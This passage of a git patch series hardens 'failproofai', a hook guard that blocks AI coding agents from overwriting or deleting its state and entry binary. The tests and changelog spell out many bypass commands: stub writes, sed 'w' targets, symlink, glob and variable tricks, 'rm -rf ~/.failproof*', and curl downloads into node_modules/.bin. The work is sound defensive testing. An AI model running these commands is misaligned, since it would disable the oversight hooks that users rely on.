// file (`ENOTDIR`), does not. + const exists = (path: string): boolean => { + try { + return lstatSync(path || "/", { throwIfNoEntry: false }) !== undefined; + } catch { + return false; + } + }; + // What a directory holds, read once. + const listings = new Map | null>(); + const listingOf = (directory: string): Set | null => { + let names = listings.get(directory); + if (names === undefined) { + try { + names = new Set(readdirSync(directory || "/")); + } catch { + names = null; + } + listings.set(directory, names); + } + return names; + }; + // A pattern as the shell expands it against the disk, from directory + // `from`: each component with a pattern matched against what the directory + // before it holds, a leading `.` only by a pattern that spells one (no + // `dotglob`), and the whole path required to exist. `null` past + // GLOB_DISK_LIMIT paths. + const expandOnDisk = (from: string, pattern: string): string[] | null => { + let paths = [from === "/" ? "" : from]; + let reads = 0; + for (const part of pattern.split("/")) { + if (part === "" || part === ".") continue; + if (part === ".." || !GLOB_METACHAR_RE.test(part)) { + paths = paths.map((path) => `${path}/${part}`); + continue; + } + let matcher: RegExp; + try { + matcher = new RegExp(`^${compileGlobPattern(part)}$`); + } catch { + return null; + } + const next: string[] = []; + for (const path of paths) { + if (++reads > GLOB_DISK_LIMIT / 4) return null; + for (const name of listingOf(path) ?? []) { + if (name.startsWith(".") && !part.startsWith(".")) continue; + if (!matcher.test(name)) continue; + next.push(`${path}/${name}`); + if (next.length > GLOB_DISK_LIMIT) return null; + } + } + if (next.length === 0) return []; + paths = next; + } + return paths.filter(exists); + }; // A glob expands where its literal directories really are: `cp x bins/fail*` // with `bins` a link to `node_modules/.bin`, and `fail*` from a directory - // reached through one, both expand onto the entry (found by hermes on - // FailproofAI/failproofai#1058). So the directories before the first pattern - // are resolved, and the pattern is read from there. - const globLandsOnState = (written: string): boolean => { - const parts = written.split("/"); + // reached through one, both expand onto the entry. So the directories before + // the first pattern are resolved, and the pattern is read from there. A + // pattern in a directory component (`b*/failproofai`) is expanded on disk as + // the shell expands it and each path it reaches resolved, and each word a + // brace expands to is read the same way (found by hermes on + // FailproofAI/failproofai#1058). + const patternLandsOnState = (word: string): boolean => { + const parts = word.split("/"); const first = parts.findIndex((part) => GLOB_METACHAR_RE.test(part)); if (first === -1) return false; const prefix = first === 0 ? "" : parts.slice(0, first).join("/") || "/"; const pattern = parts.slice(first).join("/"); if (/[$`]/.test(prefix)) return false; + const inDirectory = parts.slice(first, -1).some((part) => GLOB_METACHAR_RE.test(part)); return [at, ...alts].some((base) => { const raw = prefix === "" @@ -2353,9 +2436,24 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, const real = realPath(raw); if (real === ELOOP) return true; if (typeof real !== "string") return lostNamesState({ via: real.via, lost: real.lost === "" ? pattern : `${real.lost}/${pattern}` }); - return real !== shellPath(undefined, raw) && namesState(`${real === "/" ? "" : real}/${pattern}`); + if (real !== shellPath(undefined, raw) && namesState(`${real === "/" ? "" : real}/${pattern}`)) return true; + if (!inDirectory) return false; + const matches = expandOnDisk(real, pattern); + if (matches === null) return true; + return matches.some((match) => { + const reached = realPath(match); + return reached === ELOOP ? true : typeof reached !== "string" ? lostNamesState(reached) : namesState(reached); + }); }); }; + const globLandsOnState = (written: string): boolean => { + const words = expandBraces(written); + for (let w = 0; w < words.length && w < MAX_BRACE_WORDS_ON_DISK; w++) { + const word = words[w]; + if (GLOB_METACHAR_RE.test(word) ? patternLandsOnState(word) : word !== written && landsOnState(word)) return true; + } + return false; + }; const landsOnState = (written: string): boolean => realPathsOf(written).some(({ plain, real }) => real === ELOOP ? true : typeof real !== "string" ? lostNamesState(real) : real !== plain && namesState(real), @@ -2364,17 +2462,25 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, const namesHere = (text: string): boolean => namesState(text) || resolvesOntoState(text) || landsOnState(text); // From a directory the agent may have run the line in without saying so // (`anywhere`), a relative destination that would be the entry, or the - // package, if that directory were npm's bin directory or a `node_modules`: - // `printf … > failproofai`, `../failproofai`, `failproofai/dist/cli.mjs`. + // package, wherever that directory is: `printf … > failproofai`, and through + // any directory on the way, since one there may be a link into a bin + // directory or a `node_modules` that no lstat can see from here + // (`bins/failproofai`, `deps/failproofai/dist/cli.mjs`; found by hermes on + // FailproofAI/failproofai#1058). const anywhereHere = (): boolean => at.anywhere === true || alts.some((base) => base.anywhere === true); const plantsAnywhere = (written: string): boolean => { if (!relativeWord(written) || /[$`]/.test(written)) return false; - const path = written.replace(/[\\/]+$/, ""); - const slash = Math.max(path.lastIndexOf("/"), path.lastIndexOf("\\")); - return ( - AS_IF_INSTALLED.some((dir) => FAILPROOFAI_CODE_PATH_RE.test(dir + path)) || - (couldBeEntryName(path.slice(slash + 1)) && /^(?:\.\.?[\\/]+)*$/.test(path.slice(0, slash + 1))) - ); + const parts = written.replace(/[\\/]+$/, "").split(/[\\/]+/); + if (couldBeEntryName(parts[parts.length - 1])) return true; + // The package is read from each component that could start it, a few at most. + let tried = 0; + for (let i = 0; i < parts.length && tried < 16; i++) { + if (!/^(?:failproof|\.pnpm$|@failproofai$)/i.test(parts[i])) continue; + tried++; + const rest = parts.slice(i).join("/"); + if (AS_IF_INSTALLED.some((dir) => FAILPROOFAI_CODE_PATH_RE.test(dir + rest))) return true; + } + return false; }; // What a simple command writes that its options or operands name, read from // such a directory: an output flag's value, separate or glued (`curl -o`, @@ -2388,6 +2494,9 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, const operands = args.filter((arg) => !arg.startsWith("-")); if (OPERAND_WRITE_COMMANDS.has(head) && operands.some(plantsAnywhere)) return true; if (SECOND_OPERAND_WRITERS.has(head) && operands.length > 1 && plantsAnywhere(operands[operands.length - 1])) return true; + // A copy's destination into the package (`deps/failproofai/dist/cli.mjs`); + // where its sources land by name is judged with the other landings. + if (COPY_COMMANDS.has(head) && operands.length > 1 && plantsAnywhere(operands[operands.length - 1])) return true; if (head === "dd" && args.some((arg) => arg.startsWith("of=") && plantsAnywhere(arg.slice(3)))) return true; return args.some((arg, i) => { const long = /^--(?:output|out)[\w-]*(=)?/.exec(arg); @@ -2411,18 +2520,9 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, // nothing can only reach one through a link: one this line made, or one on // disk under a first component that exists, which each directory's listing, // read once, answers. - const listings = new Map | null>(); const existsIn = (directory: string, name: string): boolean => { - let names = listings.get(directory); - if (names === undefined) { - try { - names = new Set(readdirSync(directory)); - } catch { - names = null; - } - listings.set(directory, names); - } - return names === null ? lstatSync(`${directory}/${name}`, { throwIfNoEntry: false }) !== undefined : names.has(name); + const names = listingOf(directory); + return names === null ? exists(`${directory}/${name}`) : names.has(name); }; const gluedValueNamesHere = (value: string): boolean => { if (/failproof|\.\.|[$~]|[*?[{]|[@+!]\(/i.test(value) || links.size > 0 || value.startsWith("/")) { @@ -2781,7 +2881,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, // there moves nothing the rest of the line sees. if (simpleCommands.length === 1) { if (parenDepth > 0) { - scopes.push({ depth: parenDepth, at, previous, stack: dirStack.slice(), alts: alts.slice(), pending: pending.slice() }); + scopes.push({ depth: parenDepth, at, previous, stack: dirStack.slice(), alts: alts.slice(), pending: pending.slice(), physical: physicalMoves }); } moveShell(head, words.slice(1), expanded.slice(1)); } @@ -2841,6 +2941,11 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, } else if (head === "ln" && simpleCommands.length === 1) { recordLink(expanded.slice(1)); } else if (head === "set" && simpleCommands.length === 1) { + // Inside `( … )` it is the subshell's setting only, put back when it + // closes (found by hermes on FailproofAI/failproofai#1058). + if (parenDepth > 0) { + scopes.push({ depth: parenDepth, at, previous, stack: dirStack.slice(), alts: alts.slice(), pending: pending.slice(), physical: physicalMoves }); + } for (let i = 1; i < words.length; i++) { if (/^[-+][A-Za-z]+$/.test(words[i]) && words[i].includes("P")) physicalMoves = words[i][0] === "-"; else if ((words[i] === "-o" || words[i] === "+o") && words[i + 1] === "physical") physicalMoves = words[i] === "-o"; @@ -2859,6 +2964,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, previous = scope.previous; alts = scope.alts; pending = scope.pending; + physicalMoves = scope.physical; dirStack.splice(0, dirStack.length, ...scope.stack); cwdInState = at.inState; cdParenDepth = cwdInState ? parenDepth : null; @@ -4053,6 +4159,19 @@ const TEXT_READERS = new Set([ /** Where a print's own redirect can send it without keeping it anywhere it may be run from. */ const HARMLESS_OUTPUT_RE = /^(?:&\d*-?|\/dev\/(?:null|stdout|stderr|tty))$/; +/** + * Commands that run a file or text they are handed: shells, interpreters and + * what runs a command for you. A line with one of these, or a command named by + * a path (`./notes.md`), may run a file it has just printed into. + */ +const RUNS_FILES = new Set([ + "sh", "bash", "zsh", "dash", "ksh", "mksh", "fish", "csh", "tcsh", "busybox", "source", ".", "eval", "xargs", "env", + "nohup", "timeout", "sudo", "doas", "su", "nice", "ionice", "chroot", "setsid", "stdbuf", "watch", "script", + "expect", "python", "python2", "python3", "node", "nodejs", "deno", "bun", "bunx", "npx", "pnpx", "perl", "ruby", + "php", "lua", "tclsh", "Rscript", "osascript", "pwsh", "powershell", "awk", "gawk", "mawk", "make", "chmod", + "crontab", "at", "batch", "systemd-run", +]); + /** * Commands after which what a line prints may be run or kept to run: a * compound command (`for … do echo '…'; done | sh`), a function or alias @@ -4153,8 +4272,14 @@ function blankPrintedRedirects(command: string): string { let bare = ""; for (let i = 0; i < command.length; i++) bare += text[i] ? " " : command[i]; if (/\w\s*\(\s*\)/.test(bare)) return command; + // Each piece's command word, past any assignments in front of it. + const commandOf = (from: number, to: number): string => + bare.slice(from, to).trim().split(/\s+/).find((word) => !/^[A-Za-z_]\w*=/.test(word)) ?? ""; + let runsFiles = false; for (const { start: from, end: to } of pieces) { - if (RUNS_PRINTED_TEXT.has(bare.slice(from, to).trim().split(/\s+/)[0])) return command; + const word = commandOf(from, to); + if (RUNS_PRINTED_TEXT.has(word)) return command; + if (RUNS_FILES.has(word) || word.includes("/")) runsFiles = true; } // Whether a piece stands alone at the top of the line with only harmless @@ -4170,7 +4295,10 @@ function blankPrintedRedirects(command: string): string { while (j < to && /[ \t]/.test(command[j])) j++; let target = duplicate ? "&" : ""; for (; j < to && !/\s/.test(command[j]); j++) if (command[j] !== "'" && command[j] !== '"') target += command[j]; - if (!HARMLESS_OUTPUT_RE.test(target)) return undefined; + // Into a file, as documentation is, unless something on the line may + // run what it holds (`echo '…' > notes.md` stays text; `… && sh notes.md` + // does not). + if (!HARMLESS_OUTPUT_RE.test(target) && (runsFiles || target === "" || target.startsWith("&"))) return undefined; k = j - 1; } const words = shellWords(command.slice(from, to)); @@ -4189,7 +4317,7 @@ function blankPrintedRedirects(command: string): string { let readers = true; for (let q = p + 1; q <= last && readers; q++) { const reader = plain(pieces[q].start, pieces[q].end); - readers = reader !== undefined && TEXT_READERS.has(reader); + readers = reader !== undefined && (TEXT_READERS.has(reader) || (reader === "tee" && !runsFiles)); } if (!readers) continue; for (let k = pieces[p].start; k < pieces[last].end; k++) if (text[k] && (command[k] === ">" || command[k] === "<")) out[k] = "_"; From 3f0205f759e9530e792120b09ff7608e7875d955 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Wed, 25 Nov 2026 13:54:00 +0530 Subject: [PATCH 47/60] [hooks] Read the files a sed script writes as writes hermes's review of 428826bf (FailproofAI/failproofai#1058): a sed `w` command or `s///w` flag with the file glued on (`wnode_modules/.bin/failproofai`) or naming the installed package, or a relative name from inside `.bin`, wrote the entry past the guard, which only read a `w` followed by a separate word or a name spelling `.failproofai`. Every `w` / `W` target in every argument is now read, to the end of the line as GNU sed takes it and cut at `;` or `}`, from where the shell stands, through links, and from a Codex workdir the hook does not report. Scripts that write elsewhere, or only print, stay allowed. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 +- __tests__/hooks/guard-npx-local-bin.test.ts | 31 ++++++++++++++++++ src/hooks/builtin-policies.ts | 36 ++++++++++++++++++--- 3 files changed, 64 insertions(+), 5 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 663b520b4..37e6bf903 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -18,7 +18,7 @@ - Harden the privileged service install. Every file failproofai writes as root (the systemd unit, the launchd plist, Codex's system config and the daemon's copy under `/opt`) now reaches root as bytes on stdin and is checked against its SHA-256 before it is put in place; the daemon's copy is also held to the digest the build recorded, and a daemon binary that is a symbolic link is refused. `sudo` and every program it runs are named by absolute path from `/usr/bin`, `/bin`, `/usr/sbin` and `/sbin` and start with a minimal environment, the credential prompt included. The commands printed when sudo is not available do the same, run as printed, and on macOS carry the plist itself (#1060) - The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) - A session pause whose recorded start is more than a minute in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) -- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included) and every file a patch names (Codex's native `apply_patch` carries no `file_path`), and through shell commands that write it, copy, move, link or download a file of that name (`scp`, `wget`, `curl -O` included), name it as a value glued to an option (`curl -so`) or in curl's `--output-dir`, or put a whole directory into npm's `.bin`, including after a `cd` (or one that may have failed, or a `cd -P` through a link), through a symlink (one the same line makes is resolved as the kernel resolves it, and a glob is expanded where its directories really are, on disk as the shell expands it), through a variable the same line sets, or behind a trailing redirect. A Codex command, which may run in a `workdir` its hook does not report, is refused when a relative destination would plant the entry, through any directory on the way. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same fixes close five ways around the state guard: a native patch naming it, a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`), and an output file glued to curl's option (`curl -so~/.failproofai/policies-config.json `); and quoted text that `echo` or `printf` only prints (`echo 'cat > ~/.failproofai/policies-config.json'`), to the terminal or into a documentation file nothing on the line runs, is no longer read as a redirect. npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) +- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included) and every file a patch names (Codex's native `apply_patch` carries no `file_path`), and through shell commands that write it, copy, move, link or download a file of that name (`scp`, `wget`, `curl -O` included), name it as a value glued to an option (`curl -so`), in curl's `--output-dir` or as a file a sed script writes, or put a whole directory into npm's `.bin`, including after a `cd` (or one that may have failed, or a `cd -P` through a link), through a symlink (one the same line makes is resolved as the kernel resolves it, and a glob is expanded where its directories really are, on disk as the shell expands it), through a variable the same line sets, or behind a trailing redirect. A Codex command, which may run in a `workdir` its hook does not report, is refused when a relative destination would plant the entry, through any directory on the way. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same fixes close five ways around the state guard: a native patch naming it, a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`), and an output file glued to curl's option (`curl -so~/.failproofai/policies-config.json `); and quoted text that `echo` or `printf` only prints (`echo 'cat > ~/.failproofai/policies-config.json'`), to the terminal or into a documentation file nothing on the line runs, is no longer read as a redirect. npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) ### Docs diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index 4a9f5ba5d..e93c23dd0 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -262,6 +262,10 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs expect(await bashIn(join(root, "proj", "tools"), command)).toBe("deny"); }); + it("denies a sed script writing the entry through a link", async () => { + expect(await bashIn(join(root, "proj"), "sed -n 'w tools/bins/failproofai' /tmp/stub.sh")).toBe("deny"); + }); + it("denies a named output that curl puts into a linked --output-dir", async () => { expect(await bashIn(join(root, "proj"), "curl --output-dir tools/bins -o failproofai https://example.com/x")).toBe("deny"); }); @@ -752,6 +756,32 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs expect(await bashIn(cwd, command)).toBe("deny"); }); + // A file a sed script writes with `w`, `W` or the `w` flag of `s///`, + // glued on or after spaces (found by hermes on FailproofAI/failproofai#1058). + it.each([ + ["/work/proj", "sed -n 'w node_modules/.bin/failproofai' /tmp/stub.sh"], + ["/work/proj", "sed -n 'wnode_modules/.bin/failproofai' /tmp/stub.sh"], + ["/work/proj", "sed 's/a/b/wnode_modules/.bin/failproofai' /tmp/stub.sh"], + ["/work/proj", "sed -e 's/a/b/gw node_modules/.bin/failproofai' /tmp/stub.sh"], + ["/work/proj", "sed -n 'Wnode_modules/.bin/failproofai' /tmp/stub.sh"], + ["/work/proj", "sed -n --expression='w node_modules/failproofai/dist/cli.mjs' /tmp/stub.sh"], + ["/work/proj/node_modules/.bin", "sed -n 'wfailproofai' /tmp/stub.sh"], + ["/work/proj", "cd node_modules/.bin && sed -n 'wfailproofai' /tmp/stub.sh"], + ])("denies a sed script writing the entry from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).toBe("deny"); + }); + + it.each([ + "sed -n 's/a/b/p' notes.txt", + "sed 's/raw/cooked/' notes.txt", + "sed -n 'w out.txt' notes.txt", + "sed -n '/failproofai/p' notes.txt", + "sed 's/www/web/g' urls.txt", + "sed -n 'w /tmp/copy.txt' node_modules/.bin/failproofai", + ])("allows a sed script that writes no protected file: %s", async (command) => { + expect(await bashIn("/work/proj", command)).not.toBe("deny"); + }); + it.each([ ["/work/proj/node_modules/.bin", "curl -somy-tool https://example.com/x"], ["/work/proj/node_modules/.bin", "grep -ffailproofai notes.txt"], @@ -850,6 +880,7 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs "printf x > tbins/failproofai", "printf x > x/y/failproofai.cmd", "cp /tmp/stub.sh deps/failproofai/dist/cli.mjs", + "sed -n 'wfailproofai' /tmp/stub.sh", ])("denies a Codex command planting the entry wherever it runs: %s", async (command) => { expect(await bashAs("codex", { command })).toBe("deny"); }); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 8f6f5b315..e09004a31 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -1781,9 +1781,11 @@ function simpleCommandDestroys(words: string[], namesState: (text: string) => bo // next one, because a quoted script containing a space is two tokens by the // time it gets here. `s/a/b/w` and a bare `w` both end in a `w` that // follows a delimiter, which is what separates them from a word like `raw`. - return args.some( - (a, i) => /(?:^|[;}/\s])w$/.test(a) && namesState(args[i + 1] ?? ""), - ) || args.some((a) => /(?:^|[;}/\s])w\s*\S*\.failproofai/.test(a)); + return ( + args.some((a, i) => /(?:^|[;}/\s])w$/.test(a) && namesState(args[i + 1] ?? "")) || + args.some((a) => /(?:^|[;}/\s])w\s*\S*\.failproofai/.test(a)) || + sedWriteTargets(args).some((target) => namesState(target)) + ); } // `awk` can run a shell (`system("rm -rf …")`) or pipe into one, so its @@ -1836,6 +1838,29 @@ function simpleCommandDestroys(words: string[], namesState: (text: string) => bo return true; } +/** + * The files a sed script writes: its `w` / `W` commands and the `w` flag of + * `s///`, with the name glued on (`wnode_modules/.bin/failproofai`) or after + * spaces, running to the end of the line as GNU sed reads it, and also cut at + * `;` or `}`, which a reader might take for its end. Read from every argument, + * so a match inside a regex can only add a name to check (found by hermes on + * FailproofAI/failproofai#1058). + */ +function sedWriteTargets(args: string[]): string[] { + const targets: string[] = []; + for (const arg of args) { + if (!/[wW]/.test(arg)) continue; + for (const [, written] of arg.matchAll(/(?:^|[;{}\n]|[^\w\s\\][gpiImMeE0-9]*)[ \t]*[wW][ \t]*([^\n]+)/g)) { + const name = written.trim(); + if (name === "") continue; + targets.push(name); + const cut = name.split(/[;}]/)[0].trim(); + if (cut !== "" && cut !== name) targets.push(cut); + } + } + return targets; +} + /** * True when a flag on this command names the state as an output file. * @@ -2498,6 +2523,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, // where its sources land by name is judged with the other landings. if (COPY_COMMANDS.has(head) && operands.length > 1 && plantsAnywhere(operands[operands.length - 1])) return true; if (head === "dd" && args.some((arg) => arg.startsWith("of=") && plantsAnywhere(arg.slice(3)))) return true; + if (head === "sed" && sedWriteTargets(args).some(plantsAnywhere)) return true; return args.some((arg, i) => { const long = /^--(?:output|out)[\w-]*(=)?/.exec(arg); if (long) return plantsAnywhere(long[1] ? arg.slice(arg.indexOf("=") + 1) : (args[i + 1] ?? "")); @@ -2932,7 +2958,9 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, const values = gluedOptionValues(head, word); return values === null || values.some(gluedValueNamesHere); }), - )) && + ) || + // A file a sed script writes, read the same way. + (head === "sed" && lists.some((list) => sedWriteTargets(list.slice(1)).some(namesHere)))) && lists.some((list) => simpleCommandDestroys(list, namesHere)) ) { // Judged BEFORE the closing parenthesis is counted: a `rm -rf ./*)` From afbf1936aebaa695e7160192b4f203646a47d95e Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Wed, 25 Nov 2026 14:13:53 +0530 Subject: [PATCH 48/60] [hooks] Close hermes's fifth round: linked glob matches, curl transfers, reassigned variables hermes's review of 3296d8bd (FailproofAI/failproofai#1058): - A pattern or brace in the last component that matches a link. `cp x hoo*` and `cp x {hook,y}`, with `hook` a link to the entry, overwrote it: the last component is now matched on disk too and a match that is a link is followed (sweeps of npm's bin directory and node_modules stay sweeps), and a word that is a brace expansion keeps its braces instead of losing them as if they closed a group. - curl. An absolute `-o` is joined to `--output-dir` like a relative one, and each `--next` / `-:` transfer is read with its own options, so a later `--output-dir` no longer stands in for an earlier one. - Variables. A value set only in a subshell, only for one command, or only if a test passes does not replace the one before it, so a word is read with every value the line has given its variables by then (every one, in a loop), and only the values that could reach a protected path add readings. Past 4,096 tries, or 16 such readings of one command, the line is refused as one the walk could not read. Still no decision changes on the 12,224 test strings, as written or sent as Codex commands. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 +- __tests__/hooks/guard-npx-local-bin.test.ts | 43 ++++++++ src/hooks/builtin-policies.ts | 108 ++++++++++++++++++-- 3 files changed, 144 insertions(+), 9 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 37e6bf903..cf323f656 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -18,7 +18,7 @@ - Harden the privileged service install. Every file failproofai writes as root (the systemd unit, the launchd plist, Codex's system config and the daemon's copy under `/opt`) now reaches root as bytes on stdin and is checked against its SHA-256 before it is put in place; the daemon's copy is also held to the digest the build recorded, and a daemon binary that is a symbolic link is refused. `sudo` and every program it runs are named by absolute path from `/usr/bin`, `/bin`, `/usr/sbin` and `/sbin` and start with a minimal environment, the credential prompt included. The commands printed when sudo is not available do the same, run as printed, and on macOS carry the plist itself (#1060) - The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) - A session pause whose recorded start is more than a minute in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) -- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included) and every file a patch names (Codex's native `apply_patch` carries no `file_path`), and through shell commands that write it, copy, move, link or download a file of that name (`scp`, `wget`, `curl -O` included), name it as a value glued to an option (`curl -so`), in curl's `--output-dir` or as a file a sed script writes, or put a whole directory into npm's `.bin`, including after a `cd` (or one that may have failed, or a `cd -P` through a link), through a symlink (one the same line makes is resolved as the kernel resolves it, and a glob is expanded where its directories really are, on disk as the shell expands it), through a variable the same line sets, or behind a trailing redirect. A Codex command, which may run in a `workdir` its hook does not report, is refused when a relative destination would plant the entry, through any directory on the way. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same fixes close five ways around the state guard: a native patch naming it, a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`), and an output file glued to curl's option (`curl -so~/.failproofai/policies-config.json `); and quoted text that `echo` or `printf` only prints (`echo 'cat > ~/.failproofai/policies-config.json'`), to the terminal or into a documentation file nothing on the line runs, is no longer read as a redirect. npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) +- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included) and every file a patch names (Codex's native `apply_patch` carries no `file_path`), and through shell commands that write it, copy, move, link or download a file of that name (`scp`, `wget`, `curl -O` included), name it as a value glued to an option (`curl -so`), in curl's `--output-dir` or as a file a sed script writes, or put a whole directory into npm's `.bin`, including after a `cd` (or one that may have failed, or a `cd -P` through a link), through a symlink (one the same line makes is resolved as the kernel resolves it, and a glob is expanded where its directories really are, on disk as the shell expands it), through a variable the same line sets (whichever of its values a subshell or a one-command assignment leaves it), or behind a trailing redirect. A Codex command, which may run in a `workdir` its hook does not report, is refused when a relative destination would plant the entry, through any directory on the way. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same fixes close five ways around the state guard: a native patch naming it, a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`), and an output file glued to curl's option (`curl -so~/.failproofai/policies-config.json `); and quoted text that `echo` or `printf` only prints (`echo 'cat > ~/.failproofai/policies-config.json'`), to the terminal or into a documentation file nothing on the line runs, is no longer read as a redirect. npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) ### Docs diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index e93c23dd0..1f27266d8 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -397,6 +397,12 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs "cp /tmp/stub.sh [b]ins/failproofai", "printf x > b*/failproofai", "tee {bins,x}/failproofai < /tmp/stub.sh", + // A pattern or brace in the last component that matches a link to the + // entry (found by hermes on FailproofAI/failproofai#1058). + "cp /tmp/stub.sh hoo*", + "printf x > ho?k", + "cp /tmp/stub.sh {hook,nothing}", + "tee {hook,x} < /tmp/stub.sh", ])("denies a glob or brace through a linked directory onto the entry: %s", async (command) => { expect(await bashIn(join(root, "proj"), command)).toBe("deny"); }); @@ -407,6 +413,12 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs "ls b*/", "cp /tmp/stub.sh s*/notes.txt", "tee {out,src}/notes.txt < /tmp/stub.sh", + // Sweeps of npm's bin directory and `node_modules` stay sweeps with the + // entry on disk, and reading through a link is a read. + "rm -rf node_modules/.bin/*", + "rm -rf node_modules/*", + "ls *", + "cat hook", ])("still allows a glob that reaches no protected path: %s", async (command) => { expect(await bashIn(join(root, "proj"), command)).not.toBe("deny"); }); @@ -715,6 +727,11 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["/work/proj", "curl --output-dir node_modules/.bin -o failproofai https://example.com/x"], ["/work/proj", "curl --output-dir=node_modules/.bin -sofailproofai https://example.com/x"], ["/work/proj", "curl --output-dir node_modules/.bin --output failproofai https://example.com/x"], + // An absolute name is joined to it too, and each `--next` transfer keeps + // its own directory (found by hermes on FailproofAI/failproofai#1058). + ["/work/proj", "curl --output-dir node_modules/.bin -o /failproofai https://example.com/x"], + ["/work/proj", "curl --output-dir node_modules/.bin -O https://example.com/dl/failproofai --next --output-dir /tmp -O https://example.com/y"], + ["/work/proj", "curl -o /tmp/a https://example.com/a -: --output-dir node_modules/.bin -o failproofai https://example.com/b"], ])("denies a download or remote copy from %s: %s", async (cwd, command) => { expect(await bashIn(cwd, command)).toBe("deny"); }); @@ -782,6 